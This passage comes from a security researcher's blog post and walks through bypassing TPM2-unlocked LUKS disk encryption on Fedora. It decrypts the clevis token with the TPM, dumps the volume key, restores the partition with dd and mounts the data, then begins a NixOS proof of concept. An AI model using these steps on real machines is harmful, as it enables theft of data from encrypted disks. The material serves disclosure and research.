&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;iv&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;5zuFP0kEuqiCh0QL&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;protected&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;tag&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;7DIhyL_ZNocrUHTPr1PQWg&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Clevis would then proceed to extract a JWE token and hand it to
&lt;code&gt;clevis-decrypt-tpm2&lt;/code&gt; which decrypts it using the TPM, so we replicate
the procedure:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# Get the contents of the .jwe field&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;localhost:~#&lt;/span&gt;&lt;span style="color: #98C379;"&gt; jose fmt&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -j&lt;/span&gt;&lt;span style="color: #98C379;"&gt; token.json&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -Og&lt;/span&gt;&lt;span style="color: #98C379;"&gt; jwe&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -o-&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; tee&lt;/span&gt;&lt;span style="color: #98C379;"&gt; jwe.json&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;ciphertext&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;encrypted_key&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;iv&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;5zuFP0kEuqiCh0QL&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;protected&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;tag&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;7DIhyL_ZNocrUHTPr1PQWg&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# Convert this format into the actual JWE token format&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;localhost:~#&lt;/span&gt;&lt;span style="color: #98C379;"&gt; jose jwe fmt&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -i&lt;/span&gt;&lt;span style="color: #98C379;"&gt; jwe.json&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -c&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; tee&lt;/span&gt;&lt;span style="color: #98C379;"&gt; token.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ..5zuFP0kEuqiCh0QL.hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS.7DIhyL_ZNocrUHTPr1PQWg&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# Use the clevis-decrypt-tpm2 script to decrypt it with the TPM2&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;localhost:~#&lt;/span&gt;&lt;span style="color: #98C379;"&gt; cat token.txt&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; tr&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -d&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;#39;\n&amp;#39;&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; clevis-decrypt-tpm2&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Awesome! We got a password out of it, which is the password &lt;code&gt;clevis&lt;/code&gt; originally
added to the LUKS partition and which can be used to unlock it! Let's also dump
the volume key for future "safekeeping" 🤡:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt &lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; --key-file&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;lt;(&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;echo&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -n&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Are&lt;/span&gt;&lt;span style="color: #98C379;"&gt; you sure?&lt;/span&gt;&lt;span&gt; (Type&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;#39;yes&amp;#39; in capital letters&lt;/span&gt;&lt;span&gt;): YES&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;LUKS&lt;/span&gt;&lt;span style="color: #98C379;"&gt; header information for /mnt/luks-original.bak&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Cipher&lt;/span&gt;&lt;span style="color: #98C379;"&gt; name: aes&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Cipher&lt;/span&gt;&lt;span style="color: #98C379;"&gt; mode: xts-plain64&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Payload&lt;/span&gt;&lt;span style="color: #98C379;"&gt; offset:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 32768&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;UUID:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 779328d5-00ca-4ade-be44-6daa549642ed&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;MK&lt;/span&gt;&lt;span style="color: #98C379;"&gt; bits:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 512&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Key&lt;/span&gt;&lt;span style="color: #98C379;"&gt; stored to file volume-key.txt.&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cat volume-key.txt |&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; hexdump&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000000&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 0e42 f904 ae92 97a2 84a0 920a 3b09 faf5&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000010&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 4feb&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1775&lt;/span&gt;&lt;span style="color: #98C379;"&gt; b0de&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0448&lt;/span&gt;&lt;span style="color: #98C379;"&gt; e4f4 c57f 35e6 7e34&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000020&lt;/span&gt;&lt;span style="color: #98C379;"&gt; d200&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 2016 8623&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 2cd2 5e8e&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 2262&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 320a 3e74&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000030&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 6411 6454&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 866a d81e 88ff 8dbf b70b 9eef&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000040&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point we only have to restore the partition to its original state and
decrypt the real partition. We can either reboot into a live system (possible
if the Microsoft keys are still in the secure boot database) or put the disk
back into a system we control. Finally, we can mount the encrypted disk to have
a look inside:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# dd&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; if&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;/mnt/luks-original.bak&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; of&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;/dev/nvme0n1p3&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; bs&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;64M&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; count&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cryptsetup luksOpen /dev/nvme0n1p3 original &lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; --key-file&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;lt;(&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;echo&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -n&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# mount /dev/mapper/original /mnt&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cat /mnt/etc/os-release&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;NAME&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;Fedora Linux&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;VERSION&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;41 (Server Edition)&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;RELEASE_TYPE&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;stable&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;ID&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;fedora&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;VERSION_ID&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;41&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;VERSION_CODENAME&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;PLATFORM_ID&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;platform:f41&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;PRETTY_NAME&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;Fedora Linux 41 (Server Edition)&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;ANSI_COLOR&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;0;38;2;60;110;180&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;LOGO&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;fedora-logo-icon&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;CPE_NAME&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;cpe:/o:fedoraproject:fedora:41&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;HOME_URL&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;https://fedoraproject.org/&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;DOCUMENTATION_URL&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;https://docs.fedoraproject.org/en-US/fedora/f41/system-administrators-guide/&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;SUPPORT_URL&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;https://ask.fedoraproject.org/&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;BUG_REPORT_URL&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;https://bugzilla.redhat.com/&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;REDHAT_BUGZILLA_PRODUCT&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;Fedora&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;REDHAT_BUGZILLA_PRODUCT_VERSION&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;41&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;REDHAT_SUPPORT_PRODUCT&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;Fedora&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;REDHAT_SUPPORT_PRODUCT_VERSION&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;41&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;SUPPORT_END&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;2025-05-13&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;VARIANT&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;Server Edition&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;VARIANT_ID&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;server&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Success! Apart from researching all of the tools and their internals this has
been a rather simple process. I would even claim that with some preparation we
can repeat this reliably in under 10 minutes. All it takes is two disk swaps
and a few reboots.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Finally I can rest easy knowing that my roommate can make a surprise
backup of my server's data while I'm away 🎉. A solid 3-2-1(+1) strategy.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="proof-of-concept-exploitation-of-a-nixos-machine"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#proof-of-concept-exploitation-of-a-nixos-machine" aria-label="Anchor link for: proof-of-concept-exploitation-of-a-nixos-machine"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Proof-of-concept exploitation of a NixOS machine&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;This will be very similar to the previous PoC, so I skipped a lot of the
boilerplate this time. If you are not specifically interested in NixOS or
systemd-cryptenroll, you can jump to the next section &lt;a href="https://oddlama.org/blog/bypassing-disk-encryption-with-tpm2-unlock/#what-now"&gt;by clicking
here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Secure boot on NixOS is currently implemented by the awesome
&lt;a rel="external" href="https://github.com/nix-community/lanzaboote"&gt;lanzaboote&lt;/a&gt; project, which does
some things differently than what we just saw on Fedora. Most notably we will
enroll our own secure boot keys (and can wipe the microsoft keys), our kernel
and initrd will both be fully signed as a UKI image and systemd-boot will not
allow you to edit the command line. Another small difference to the Fedora
setup is that we will use &lt;code&gt;systemd-cryptenroll&lt;/code&gt; instead of &lt;code&gt;clevis&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In any case, the overall exploitation will be very similar, the NixOS initrd also
doesn't verify LUKS identities (as of January 2025).&lt;/p&gt;
&lt;h4 id="system-setup"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#system-setup" aria-label="Anchor link for: system-setup"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
System setup&lt;/h4&gt;
&lt;p&gt;Fortunately, the setup is extremely simple with lanzaboote. I recommend having
a look at their &lt;a rel="external" href="https://github.com/nix-community/lanzaboote/blob/master/docs/QUICK_START.md"&gt;Quick Start Guide&lt;/a&gt;
in case you don't know the project already. I've added the full configuration
of the test machine &lt;a href="/bypassing-disk-encryption/flake.nix"&gt;here&lt;/a&gt;, in case you want to replicate this.
The final setup steps were:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# Clear secure boot keys, start nixos live image, copy flake to live image, then:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@nixos]#&lt;/span&gt;&lt;span style="color: #C678DD;"&gt; alias&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; nix&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;#39;nix --experimental-features &amp;quot;nix-command flakes&amp;quot;&amp;#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.diskoScript&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;/nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.toplevel&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;/nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# Format and install:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@nixos]# /nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko&lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Format disk(s)&lt;/span&gt;&lt;/span&gt;
